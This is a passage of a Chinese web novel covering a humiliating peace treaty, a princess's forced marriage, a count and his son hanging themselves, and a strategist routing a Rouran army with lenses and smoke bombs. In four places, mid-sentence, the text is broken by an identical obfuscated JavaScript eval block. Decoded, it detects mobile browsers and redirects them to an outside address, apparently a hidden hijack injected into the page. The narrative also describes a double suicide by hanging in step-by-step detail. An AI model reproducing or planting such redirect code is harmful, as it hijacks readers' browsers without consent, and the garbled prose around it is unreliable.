如此荒唐可笑，对皇权的打击却是巨大的，因为有人在戏谑皇权了，好像是个人都能称帝一样。 “倒是朕冲动了，仔细想来，各位爱卿老成谋国，言之有理啊。” 叹息着，景武帝同意了大家的看法。 其实谁都知道这就是演戏呢，但不演是不行的，哦，叱利可汗让皇上叫大哥，皇上就叫大哥，皇上不要面子的？ 现在有了冠冕堂皇的理由，就可以往下继续了。 “陛下，以微臣所见，那叱利可汗到底是戎狄野兽，他要迎娶德阳公主，便是陛下的女婿，等于是自居晚辈，着实可笑。” “陛下，叱利可汗委派右贤王，对我大越可是尊重至极，想来那叱利可汗在内心之中，对我皇，是敬仰万分的。” “必然如此！和约签订地点为插箭岭，此地属于柔然，在对方领土上签订和约，我大越简直有点欺负戎狄之辈了。” “戎狄到底谋略不足，等我皇卧薪尝胆之后，便是我大越兵临柔然之时，嘿嘿嘿，到那时……” …… 光是流程走对还不行，还得让皇上心情愉悦。 大臣们把叱利可汗贬低了一番，又赞美了景武帝，下面便可以商量，派谁前去签订和约。 这种和约，肯定会招来骂名，同时也会带来莫大的好处。 这可是为皇上遮风挡雨，替皇上背黑锅。 老百姓骂起来，不管是谁签订了和约，肯定会被骂为奸臣。 “柔然派出了右贤王，由于左贤王空缺，实为可汗之下第一人，我方当与之对等才好。臣提议，由兵部尚书前往缔结和约。” 立马有人站了出来，朝堂众人本来还打算争一争呢，都闭嘴了。 兵部尚书曾开之，管着所有武将不说，还是同中书门下平章事，类似宰相。 虽然比宰相的权柄要小很多，但说是皇帝之下第一人，还是没错的。 曾开之往右边看了看吏部尚书朱应时，见他没有争的意思，便走出一步：“能为陛下签此和约，是臣的荣幸，老臣愿往。” 他咬**，这是给皇上签的，意思到时候外面**汹汹，你可别不认。 景武帝沉默一会，拍手道：“就这么办吧。” …… 两国签订和约，必须昭告天下，这个事情是瞒不住的，散了朝，便哄传了出去，士农工商说什么的都有。 有人觉得，怎么能签订这种和约，太**了。 有人则觉得挺好，天天打仗，谁都没钱了，再打下去，都得完蛋。 其中嚷嚷最凶的，是翰林院和太学，他们四处**，满腹牢骚。 “羞耻！太羞耻了，朝中有奸臣啊。” “这会了，还有什么不好说的？就是曾开之老贼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597514|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “我大越开国两百年，何曾受过如此**？我提议，我们要清君侧，抓住曾开之老贼，当场打死。” “祸国殃民的老贼，我恨不能生吃其肉。” …… 见那么多人，骂骂咧咧的，太学学子顾希礼一溜烟的跑到了兵部尚书府，愁容满面道：“老师，祸事了，外面都在说，老师是奸臣，还要清君侧呢，老师实在不该接这份差事啊。” 到插箭岭，还是有一段距离的，曾开之正在让人做准备，听了这话，淡淡地看了顾希礼一眼，说道：“希礼啊，你跟着我也学了三四年了，怎么还是不长进呢？ 清君侧？ 谁啊？ 这样，你在府门口张贴一份告示，无论任何人，是想清君侧也好，还是想和本人辩论和谈之弊也好，只管放进来，不得阻拦。 你去试试，看有没有人来。” 顾希礼是曾开之的学生，八股文特别出色，只是在变通上，火候太差。 曾开之想让他看看清楚，大家的真实看法。 带着懵懂和担忧，顾希礼打开府门，张贴告示。 这一贴不要紧，本来嚷嚷个不停的人，一个比一个跑得快，转眼就不见了，那些嚷嚷着要刺杀的人，也一样。 贴了大半天，连个人影都看不到，顾希礼晕乎乎的，回到内宅：“老师，这是何故？他们明明说……” “说？” 曾开之嘲讽不已，“都是骗子而已，但凡读过书，明事理的，都知道我们大越的实际情况。 除了和谈，别无选择。 他们不过是想展现自己的风骨而已。 真有傻子公然反对和谈，陛下一定不会轻饶，可惜了，都是聪明人。” 宦海沉浮，曾开之人情练达，把一切剥开了说，顾希礼如梦方醒。 是啊，打又打不过，最好便是和谈了。 “老师，我明白了。” 又学到了，顾希礼很开心，曾开之幽幽看向北方，喃喃道：“我倒是纳闷，为何柔然人愿意和谈。明明打下去，他们是必胜的。” 一切都太顺利了，曾开之有种说不出的不安，顾希礼异想天开道：“老师，会不会咱们打了胜仗？” 曾开之哑然失笑：“这话你信吗？” 顾希礼摇头：“不信。” 越朝打不过柔然，这是人尽皆知的事情。 两人都想不出任何一种可能，可以打赢，除非……除非有天神相助。 可人世间哪有什么天神啊。 第108章 伯爵自缢 第一百零八章伯爵自缢 曾开之贴出告示，没有人敢上门，顿时，支持和谈的人兴奋不已，纷纷嘲笑反对和谈的人。 “平时袖手谈心性，临危一死报君王。” 这句话，被人提的最多，意思是很多人只是空谈，不干实事。 如果真行，嚷嚷什么，直接去揍柔然人啊。 打仗不参与，办法不提供，就知道磨嘴皮子，君王需要这样的臣子吗？ 显然是不需要的！ 反对和谈的读书人，也是悲苦，又是羞愤，道理他们都懂，可看看和约内容，心里难受。 他们被攻击，便开始踢皮球一样的，去攻击武将，埋怨越朝衰弱的根源，是缺乏一个顶级将领。 武将们只觉得冤枉，顶级？要多顶级？ 给我重甲骑兵我立马灭了柔然大军，问题是没有啊。 …… 士林争论，文武互相埋汰，大部分都是局外人，身在局内的德阳公主，此刻在慈元殿，痛哭不已。 慈元殿是庄妃的住所，庄妃生有一子一女，子为九皇子，女为德阳公主。 当然，这是对外，庄妃自己知道，其实九皇子本应是公主。 素来母以子贵，她怕没有儿子，无以傍身，所以买通了太监，宫女，接生婆，愣是把一个公主，说成是皇子。 瞒天过海到现在，倒也太平。 只是每次见到九皇子李元润，极力绑缚自己的胸口，难免心痛。 此刻李元润也在，出言安慰道：“德阳，据董道昌所言，那叱利可汗是倾慕于你，所以才要你和亲。想必，不会伤害你吧。” 李元润也不敢抱太好的期待，只希望叱利可汗别伤害自家妹子。 庄妃也跟着劝：“叱利可汗今年六十有五了，这年龄大的男人，会疼人。” 哇！ 听到这个，德阳公主嚎啕大哭，边哭边骂：“母妃，你听听你在说什么？我是大越的公主，你让我嫁给一个六十五岁的男人！ 我听闻，柔然人对女子，更无半分尊重，讲究父死子继，兄终弟及，等叱利可汗**，我岂不还要嫁给他的儿子？ 他大儿子**，我还要嫁给他的二儿子，二儿子**嫁三儿子，这不是禽-兽之国吗？ 我不去，我就不去，我要见父皇，我不信父皇那么狠心。” 德阳哭天抢地，庄妃和李元润都是相对无语。 皇家不是没有亲情，只不过，亲情再重要，也没有这**江山重要。 现在牵扯到的是国政大事，越朝不和柔然和谈，眼看就不行了。 割地赔偿送女人，只要柔然愿意退兵，景武帝怎么都行的。 别说只是送一个女儿，就是把所有女儿全部送过去，也在所不惜。 “你们拦着**嘛？放我出去！” 德阳公主想要去勤政殿，立刻被侍卫拦住了。 平常对他毕恭毕敬的侍卫，此刻冷冰冰的，无论她怎么哭闹，都是充耳不闻。 庄妃和李元润把她拉回寝宫，德阳公主没有了婉约温顺的模样，眼睛瞪得溜圆，怨气滔天：“算什么，这算什么啊？ 打不赢仗，就送女人。 我大越竟没有一个男儿，都是废物，都是死太监。” 就差在地上打滚了。 她声音那么大，想来也会传到勤政殿那边去。 只是皇上一直没有过问，随着她闹去。 李元润看不得这些，眼眶红了，恨恨道：“都怪那韩平，还麒麟才子呢，打不赢就算了，竟然投降。” 德阳公主听到麒麟才子，疯癫哭泣：“若世间真有麒麟才子，能够击败柔然大军，让我不用去北边受苦。 我便是做牛做马，也要报答他。 可惜没有！ 没有一个像男人的，都是胆小鬼，臭鱼，烂虾，八个爪……” …… 京城乱哄哄的，好像所有人都忘了，谢伯爵父子还在软禁之中。 伯爵府内已经没有丫鬟和佣人，也没有亲兵，只有谢园卜和二儿子谢子展。 当谢朝乘战死的消息传来，谢子展不愿意接受：“不可能，绝对不可能，我大哥不会死，不会的！” 他的声音很大，空洞洞的，连个回声都没有。 谢伯爵有气无力地从床上起来，来到院子里，怔怔地说道： “好，很好，战死很好……” 谢子展不争气地哭了，他明白父亲的意思，大哥战死，向朝廷表达了忠心，也许其他人便能活了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597515|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他惨痛无奈，怅然道：“也不知道三弟是否活着。” 谢伯爵仿佛把一切都看淡了，连叹气都是无力的：“老三是个犟脾气，大约不肯独活的。” 说完他看了看天上的太阳，感受着灼热的阳光，捂着肚子说道：“老-二，还有吃的没有？” 不让出去买米买菜，伯爵府就好像监狱一样，谢子展摇头：“父亲，没了，不过没事，昨晚我抓了一只老鼠。” 为了弄口吃的，他堂堂贵公子，半夜三更不睡觉，就守在老鼠洞口，方才抓到一只，因为膈应，还没有吃呢。 “老鼠好，老鼠香喷喷的……老-二，我饿了，想吃清蒸老鼠，去给我做去，记得多放点酱油。” 见父亲愿意吃饭，谢子展忍住悲伤：“好的，我这就去。” 他忙着给老鼠扒皮，去除内脏，谢伯爵慈祥地看了几眼，拿了个板凳，穿过月亮门，打开了大门，外边并没有兵马司的人，也不知道干嘛去了。 谢伯爵无所在意，解下腰带，用力一扔，悬挂在门簪上。 伯爵府的门簪足足有六个之多，上面雕刻着繁复的花纹，在民间，门簪有个俗名，叫做来头，有来头有来头，便是指大门有门簪的人家。 光耀门楣，莫过于此。 此刻的谢伯爵，没有了荣耀之心，只是认认真真地给腰带打结，打好了，站到板凳上，把脖子放了进去。 哐当！ 几乎是有点着急地，他踢倒了板凳，骨瘦如柴的身体，抽搐了几下，便悬挂在门簪之下，轻轻摇晃。 半炷香之后，谢子展轻轻呼唤：“父亲，吃饭了，父亲……” 当他来到前院，便看到大门洞开，以及随风摇晃的谢伯爵。 谢子展上前摸了摸，发现谢伯爵已经硬了，他疯狂地笑了：“哈哈哈……哈哈哈……哈哈哈……” 一边笑着，一边解下腰带，悬挂在右边的门簪上，眼中泪光汹涌：“父亲**，大哥**，三弟**，我一个人活着，又有何趣味？ 父亲是觉着我文弱，能够忍受这世间污秽。 今日便让天下人看看，谢氏男儿之豪烈！” 他毫不犹豫地挂了上去，踢开板凳，一阵挣扎之后，和谢伯爵一样，在风中，轻轻摇动。 第109章 沙盘 第一百零九章沙盘 “渔阳城内的人听着，你们敢对我柔然狼族出手，就要承受悲惨的后果。” “特别是那韩平，敢纵火烧我粮草，害我幼子，我要吃你的肉，喝你的血。” “高人，什么鸟高人，本人左骨都候沮渠蒙逊在此下战书，明日午时，吾将亲率五万大军横扫，有种的，就不要当缩头乌龟。” “韩平，你个王八蛋，你敢和我正面对战吗？” …… 准备了两天，从周围掠夺了一些粮草，柔然后方也运来了不少粮草，骨都候沮渠蒙逊恨意滔天，在渔阳城外叫骂。 如果是以前，渔阳城的将士只会当做没听见。 可现在不一样了啊，韩先生是大家的救命恩人，能让你骂吗？ 更不要说，大家手里有大宝贝呢，那**，所有人都参与了学习如果使用，望远镜千户以上级别，一手一支。 光是拿着望远镜，各千户就信心大增。 还有三四里地呢，就看得清清楚楚。 知己知彼百战百胜，这是老祖宗说的，有千里眼了，还怕柔然干什么？ 凸透镜则属于突击队持有，要想远距离点火，需要十几个人互相配合，把所有的光束集中于一点，自然是越熟练越好。 最终要达到的效果，是几十个人同时施展，做到瞬间集中光束，刹那点火。 “哈哈哈……狼族？我看你们是狗族吧。” “我们韩先生乃是虚空御火大圣，你的小儿子死在神火之下，是他的荣幸。” “什么高人？嘿嘿……仓髯老贼，你听好了，我们韩先生的名号说出来，吓死你个犊子。” “人间情圣，诗鬼，酒魔，字神，画中仙，灵烟使者，虚空御火大圣，听到了吧？害怕了吧？” …… 这边和柔然人对骂，早有人跑到帷帐，报告了军情。 帷帐之内，韩平，谢朝乘，谢翼圣，还有十几个千户都在。 前面打了那么久，全无进展，被柔然欺负得喘不过气来，现在韩平来了，大家本能的指望韩平。 “韩先生，您看？我们要不要正面迎战？” 谢朝乘询问起来，他对正面对抗重甲骑兵是有阴影的，失败过太多次了，吃的亏太多，死掉的将士也太多了。 “当然！我们要让柔然人明白，任何一种战法，他们都不是对手，只有打怕了他们，他们才会离开。 不过，正面对战也需要有技巧，以我所见，当先杀其气焰，再全歼他的五万大军。” 正面对战，还要全歼！ 周围的将领都听呆了，他们做梦也不敢想这种好事啊。 柔然的重甲骑兵，可是以难杀闻名的。 有时候这边上百人，围住对方十来个人，依然是打不过。 现在渔阳城内的兵卒只有一万三千多人，战术素养不如对面，人数也不如对面，大家基本的想法，利用**，让柔然人知道厉害，愿意退兵就行了。 哪知道……只能说高人就是高人，大家害怕柔然人，人家根本没放在眼中。 就连谢朝乘也是崇仰无比，不服不行啊。 “请先生指教方略。” 能全歼，那最好了。 柔然人比较少，损失五万大军，会元气大伤的。 五万大军的装备，马匹等等，都缴获了，那可是一笔巨大的财富。 到时候天天吃马肉，那是什么生活啊。 “古人云，一鼓作气，再而衰，三而竭，我们可以先在这……” 韩平努力地想在舆图上找到具体的位置，但真的做不到。 这舆图，好家伙的，简陋至极，山的地方就画几个鼓包，水的地方就画几条弯曲线条，城池更过分，直接用文字。 只能看清大概的方位，没办法做细节性的指挥。 “谢将军，你这里没有沙盘吗？” “沙盘？那是什么？” 谢朝乘一脸迷惑。 韩平也是无语了，他记得历史记载过，古代的某些时期也是使用沙盘的，看来又是断了传承。 “来人啊，去取几代沙土，还有一些大小不等的石块。” 自己就有属下，韩平也懒得再通过谢朝乘。 他刚一说完，秦明虎站了出来，兴冲冲的：“我去！我去！” 他太享受见到稀罕玩意时那种惊喜感了，带着几个人，急匆匆地出去。 一边的谢翼圣咂摸咂摸嘴，我的第一护卫，不会被勾搭走了吧？ 作为犯过大错的人，在这种地方，他也不敢说话。 过了会，秦明虎几人抬着沙土，石块过来了。 “来，大家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600708|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起帮忙！” 韩平把沙土铺在地上，用石块一垒，相当于城池，大家愣了会，马上明白过来，这是要模拟渔阳城周围的环境。 人多力量大，他们对附近那太熟悉了。 随着城池，平地，山岭，河流一个一个的呈现在沙盘上，谢朝乘惊了：“妙！简直绝妙！有了这个东西，战场就在眼前，用它来排兵布阵，可太清晰了。” 将军发布命令，有时候属下会有理解错，甚至听不懂的情形。 有了沙盘，不需要文字，便能说得清清楚楚。 当一个四方形的沙盘堆出来，韩平用一根木棍点了点渔阳城前方： “骨都候怀丧子之痛，主动来攻，这对我们极为有利，我们可以先在这，这，还有这，距离渔阳城比较远的地方，挖掘陷马坑。 陷马坑中放置粪便等污秽之物。 明天，柔然大军怀恨而来，先挫他们的锐气。 等他们到达渔阳城下，我们抛洒柳絮，给他们展现隔空生火，让他们心惊，使用凸透镜的士兵，必须训练有素，听我旗号行事。 两次受阻受惊，此刻他们的锐气便已不足。 谢将军带领骑兵排成阵势，正面应战，其他人散布到渔阳城外，等正面交战打起，你们便出来包围。” 韩平给出来的办法并不复杂，其他人却没法使用，原因简单，他手里有望远镜，凸透镜，**这些东西，别人没有。 那沮渠蒙逊一心为子报仇，对这些东西，太缺乏了解了。 “好！就这么干！” “只是，这次需要消耗掉多少**？可得节省着用啊。” 能获得压倒性的优势，**是关键中的关键，谢朝乘真有点不舍得用。 在韩平没来之前，他靠着八十几个**死撑，可是太喜欢这件大宝贝了。 “让将士们全部带上，要不要用，自己判断。” “**没了可以再造，命没了就什么都没了，我们要以最小的伤亡消灭柔然大军。” 也是个人习惯了，韩平喜欢十拿九稳，至于说用完了**，之后怎么办，再说呗。 眼前这一仗打不赢，他的命，大家的命，都会丢在这的，为了以策万全，他又补充了一句：“把城里的牛羊猪鸡鸭，凡是和眼前这一仗无关的，统统杀掉，给将士们补充体力。” 第110章 这一战，能赢！ 第一百一十章这一战，能赢！ 朝廷最不愿意拖欠的饷银，便是边关将士的，可大越实在是没钱了，渔阳城的将士，倒是每月都能领到钱，只是，只有原本饷银的一半。 这叫半拖半欠。 经过那么久的消耗，城内的粮食不多了，肉类很久才能吃上一回。 这次韩平直接下了诛杀令，城里的牛羊鸡鸭倒霉了，城内将士，高兴坏了。 随着肉菜的香气弥漫出来，一个个的，口水直流。 “要疯要疯！韩先生也太大气了吧，竟然要做叫花鸡，那可是我最爱吃的！” “叫花鸡而已，韩先生说了，还要弄烤全羊呢，啧啧啧……” “我最爱的还是大肘子，这辈子我还没吃过呢，吃了这顿，马上就死，我也没有怨言了。” “谁说不是呢？能抱着肉骨头啃一啃，这辈子就算是没白活。” “除了肉，听说还要从今天熬到明天，熬那牛骨汤，羊骨汤，猪骨汤，我宣布，从今天起，韩先生就是我亲爹，谁也别和我争哈。” “亲爹？你做什么梦了？最多是义父，做人不要太贪婪。” …… 做菜的事，韩平只是简单指导了下，注重一个公平，一定要让每个将士都吃到肉。 虽然说吃个肉饱，那是不可能，但起码每个人碗里都是油腻腻的。 随着烤肉，煮肉的霸道香气弥漫，渔阳城热闹非凡，就连受伤的将士也坐不住了，唯恐怕自己被漏下了，拄着拐棍，拿着碗，死等。 厨师们忙乎坏了，做好了，还要拼盘，给每个盘子里，都放上一些肉，煮出来的牛肉来一块，烤出来的羊肉来一块，再来一块肥腻的东坡肉，和连带着鸡皮的叫花鸡。 等士兵们排队过来，把盘子往对方碗里一倒，下一位！ “娘啊！活着真好啊！” “要是能天天这么活，给神仙都不换。” “神仙？玉皇大帝也没咱今个吃得好，王母娘娘都得馋得咬舌头。” “哎呀真香！韩先生真是爽快人呀。” “到明天，柔然人就等着被我**吧。” …… 肉食带来的体力增强，精神振奋，是素食完全无法比拟的，更不要说，他们所有人，都太缺乏油水了。 菜团子就着肉食，一个个吃得肚子溜圆，那叫一个美滋滋。 老牛湾是距离渔阳城最近的隘口，彼此之间有互相接应的义务，自然信息传递的速度也比较快。 听着一个一个不可思议的军报，潘时臣都快要晕了。 “梦麟，你怎么看？” “这个韩平，到底何许人也？” 他看着自己的副将，已经不知道该怎么想了。 沈梦麟是弃笔从戎，从文转武的，见多识广，笑道：“将军，我看不出来，这位韩先生多智近妖，或许他真能打败柔然大军，也说不定。” 潘时臣还是无法接受：“他能够放火烧了柔然人的粮草，的确是个人才，但打败柔然大军，未免太过夸张。” 大越面对柔然的重要关隘，共有六处，处处被柔然压制，潘时臣自己，耗费毕生才华，也只能维持个防守不败。 现在来个玉面年轻人，竟然准备和柔然正面对战，而且是抱着必胜的把握，差距太大了，潘时臣五味杂陈。 “从韩平来到渔阳城，又获得了两个称号，一个是虚空御火大圣，一个是灵烟真君，就看他手里的**，如何神妙了。” 还可以这么打仗！ 沈梦麟努力让人去打探了，但是，真的没法学，没装备啊。 那什么凸透镜，透明的，闪闪亮亮，一看就十分珍贵。 至于**，他还没见过呢。 “好小子！他一来，把柔然人给打得摸不着头脑，我们也都被他给比下去了。” “真想知道他是从哪里学的，怎么会懂那么多。” 虚空生火！ 光是想想，就让人神往。 潘时臣已经有点心痒痒了，他沉思了下，有了主意，“梦麟，咱们也必须做好准备，万一他们打败了，别的都没啥，那虚空生火的宝贝，可不能流落到柔然人的手里。 只要有这个在，我们便有了对柔然人的震慑。” 到底是老将军，看得透彻。 潘时臣第一个想到的，便是战略平衡。 柔然人有重甲骑兵，我大越有虚空生火的宝贝。 有了这个，柔然人就得战战兢兢，时刻小心着自家的粮草。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603431|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “将军言之有理，只是，如果打赢了呢？” “啊？” 大越对柔然一直输，潘时臣已经忘了赢的感觉，也不习惯设想自己站在胜利的一方，想到什么，他的脸色惊变，“我们大越和柔然已经签订了**和约，如果这时候韩平打败了柔然大军…… 乱了，一切都乱了。” 他都不敢往下想了。 到时，朝廷的脸往哪里放？皇上何以自处？ 哦，边关将士拼死拼活打了胜仗，你们又是割地，又是赔偿，又是纳贡，又是和亲。 正应了那句话：臣正欲战死，陛下为何先降？ 仔细分析，感觉谁都没错，陛下英明，朝廷衮衮诸公也都是个顶个的博学鸿儒，说是一窝子老狐狸也不为过。 他们一定是把所有可能都计算过了，才和谈的。 只可惜，他们漏算了一个妖孽，一旦战胜柔然，必然是天翻地覆，震惊四海八荒。 动荡的不光是现实，还有人心！ 也不知道韩平掀起的这场大潮，该如何结束。 站在旋涡中心的韩平，能不能平安落地。 …… 第二天，熬了整个晚上的牛骨，羊骨，猪骨汤，散发着浓郁至极的香气，空地上立着大锅，旁边是一盆一盆和好的杂面。 今天吃的是骨汤面条，牛羊猪鸡鸭都杀干净了，韩平孤注一掷，又让杀了几十匹马，保证每个将士碗里都有肉。 “呲溜，呲溜……” 盛满了油花花的骨汤面条，众人一吃一个不吭声，根本没时间说话。 一碗又一碗，真是把这顿饭，当做是人生最后一顿饭来吃。 等到吃饱喝足，穿上盔甲，拿上武器，每个**约分到了五个**。 知道这件宝贝厉害，虽然是去拼命，大家更多的是激动振奋，而不是恐惧紧张。 咚，咚，咚…… 随着战鼓响起，谢朝乘带着五千骑兵列阵而出。 这还是他第一次正面对战柔然重甲骑兵，心中豪气干云。 韩平俨然已是渔阳城执牛耳者，他披甲站在城头，拿着一杆望远镜，见北面尘土滚滚，知道沮渠蒙逊来了。 惊天一战！开始吧！ 第111章 指哪打哪 第一百一十一章 指哪打哪 “狼族儿郎们，随老子杀！” 沮渠蒙逊挥舞一把长刀，威风凛凛。 五万大军，铺天盖地，黑压压一片。 比较之下，谢朝乘带领的五千人马，显得不值一提。 只是走着走着，就见漫天柳絮乱飞，好像下雪了一样。 柔然士兵中，有知道内情的，面带惊恐，嘀咕了起来。 “撒柳絮是什么意思？南蛮人就会玩没用的。” “傻子！这些都是引火材料，那韩平人称虚空生火大圣，能够凭空生火，粮草就是这么被烧的。” “瞎扯！虚空怎么生火？障眼法，一定是障眼法。” “我听说韩平还被人称为灵烟真君，那又是什么意思？” “不知道啊！” …… 沮渠蒙逊本人并没有见到虚空生火，也没有看过烟雾弹。 两军对战，士气极为重要，他也不可能宣扬敌人的厉害，因此柔然士兵都是懵懵懂懂的。 知道粮草被烧了，但到底怎么被烧的，不甚了然。 什么虚空生火，他们很难相信。 就是在这种状态下，他们靠近了渔阳城。 “啊！” 正走着，马踏中了陷马坑，人从马上飞跌了出去，随之一股臭气弥漫，沮渠蒙逊急于报仇，气得哇哇大叫：“这肯定又是韩平的主意，不杀此贼，我誓不为人！” 陷马坑对骑兵的伤害太大，他只好约束住大军，让人把陷马坑先填平。 这么一耽误，大军的士气便不如之前那么凶暴。 搞定了陷马坑，继续往前，空中飞舞的柳絮更多了，隐隐约约，已经能够看到越朝军阵。 嗖嗖嗖…… 谢朝乘这边纷纷射箭，这叫射阵脚。 两边列阵对战，主将有话要说，便会如此。 沮渠蒙逊冷笑一声，高声大叫：“黄口小儿，连谷蠡王都打不过，就你，也配和我对战？” 单就本事而言，谢朝乘是不如老将军潘时臣的。 柔然这边，沮渠蒙逊自认为比谷蠡王郁久通迦要强好几倍。 谷蠡王压着谢朝乘打，他压着潘时臣打，怎么比，他都比谢朝乘强。 “柔然老狗！你可以小看我，但今日之战，是韩先生主持大局，任你千军万马，韩先生谈笑间，便让尔等死无葬身之地！” 对韩平已经是崇拜无比，谢朝乘只觉得通身舒爽。 他不喜欢整天盯着舆图，想着怎么坚持，怎么多防守一天，太压抑了。 他喜欢纵横沙场，痛快肆意。 “韩平！！！” 咬着后槽牙，沮渠蒙逊抬头往城上看去，差点把肺给气炸。 只见城楼之上，韩平没个样子的趴在城墙边上，旁边有人给他撑着罗伞，遮挡骄阳。 他一手拿着个小旗子，一手拿着个冒冷气的绿豆冰棍，嘎嘣嘎嘣地咬着，没事人一样。 “你好啊。” 被叫名字了，韩平摆摆手打了个招呼。 沮渠蒙逊气到冒烟，这畜生杀死了自己心爱的幼子，见到自己，竟然随随便便来一句你好啊。 我怎么可能会好！？ 嘲讽！ 一定是嘲讽 沮渠蒙逊没想到，对方年纪轻轻，竟然如此阴险，想让自己陷入不理智的愤怒。 忍住强烈的怒气，他扬起长刀一指：“韩平！都说你能够虚空生火，本候却是不信，你敢在本候面前施展吗？” 战斗是最能锻炼人的，沮渠蒙逊这个人凶猛和狡诈同在，他想弄清楚，虚空生火到底咋回事，免得再出了意外。 他认为，应该是精心设计出来的戏法，南越人最喜欢戏法了。 “有何不敢？” 又嘎嘣了一口绿豆冰棍，韩平老神在在，“你一定认为，是我使诈，为了让你心服口服，我给你个机会。 到处都是柳絮，你不妨拿起一团检查检查，可有异常。” 沮渠蒙逊虎目之中精光闪闪，他让属下捡起一团柳絮给他，仔细地看了看，捏了捏，摇头道：“并无异常，你想说什么？” 韩平潇洒一笑：“只要我旌旗往你手中一指，柳絮便会凭空燃起，你应该听过我的名号，虚空生火大圣，绝非浪得虚名。” 虚空生火！ 这四个字沮渠蒙逊已经听过很多次了。 可他还是无法相信，虚空怎么生火？ 他早年穷困，各种生火方法都有接触，什么钻木取火，火镰生火，火折子点火，都只能近距离点火，从未听闻过什么虚空生火。 “哈哈哈……可笑！你以为玩一些戏法，能够骗得过别人，也能瞒过本候吗？” “柳絮就在我手中，来啊，让它燃起，如果你真能……” 想着如果能够拆穿对方的戏法，对越朝的士气也是一种打击，沮渠蒙逊攥着一团柳絮，举了起来。 韩平扬起旗子，说了一句：“看好了！” 唰！ 他一甩旗子，随即几十道光束汇聚，几乎是瞬间，便点燃了沮渠蒙逊手中柳絮，柳絮燃烧速度太快，火光一闪而逝。 光束消失不见。 整个柔然大军陷入了死一般的安静。 刚才那一幕所有人都看到了，有的惊讶得张开大口，有的犹疑地瞪着眼睛，更有的看向身边人，想确定自己否眼睛有毛病。 最愕然的，是沮渠蒙逊，他举着的手，迟迟没有放下，仿佛木偶一般。 刚才几十道光汹涌而至，仿佛天罚一般，神威凛然，巨大的恐惧从内心之中升起，撅住了他。 久经战场杀戮，他不怕任何人，可他怕天。 城头上这个男子，能够驾驭天道！ 不行！ 打不过的！ 他刚这么想，刚要下令撤退，韩平化身为调皮的小男孩，他用手中旗子随意指了过去。 指在什么地方，什么地方的柳絮便燃烧了起来，散发着难以言喻的玄奥，火线向着柔然大军迅速蔓延。 “我乃虚空生火大圣，奉上天之命督战。” “柔然众军听着，尔等敢有反抗者，我会降下地狱之火！” “谢将军，收割吧。” 两军对战，鸦雀无声，只有韩平的声音激荡四方。 谢朝乘没想到还有这出，愣了下才大喊起来：“兄弟们，随我杀敌！” 他带着五千人冲了过去，沮渠蒙逊懵了。 如果以前听到什么地狱之火，他半个字也不会信，可现在，他无法坚定。 虚空生火他也不信，可已经在眼前发生了。 地狱之火也许同样存在。 谁愿意被地狱之火烧啊？ “撤退！撤退！” 一身是胆的他，怕了，怯了，怂了。 兵败如山倒。 正如韩平所说，谢朝乘完全是收割，偶尔有反抗的，一个烟雾弹扔过去，也老实了。 五千人追着五万人跑，不一会，喊杀声震天，安排在城外的大越将士开始拦截。 他们都戴着护目镜呢，先扔一轮烟雾弹，柔然大军，人仰马翻，哭爹喊娘。 第112章 一边倒的屠杀 第一百一十二章 一边倒的屠杀 每一次技术的进步，都会带来彻底的碾压，谢朝乘这些人虽然不知道什么叫降维打击，可他们体会到了这种感觉。 以前望而生畏的柔然重甲骑兵，现在就像一头一头的猪。 在烟雾之中，他们捂着眼睛惨叫，他们的马在到处乱窜。 “杀！杀光他们！” 多年以来的仇恨淹没了一切，在这里的每一个战士，都见过同袍的死亡，有很多是住在附近的人，全家都被柔然人杀光。 这种仇恨任何语言都无法开解，唯有杀戮。 也该让柔然人明白，人是会死的，也该让他们品尝一下，失去生命，失去亲人的滋味。 “啊……饶命，饶命，我投降，我投降……” “无耻！你们南蛮人太无耻了，不敢和我们正面作战，用这种下流伎俩。” “爹，你在哪儿？阿骨打呢？” “跑，快跑啊……” …… 有认命的，有试图逃跑的，井然有序的大军，乱成了一锅粥。 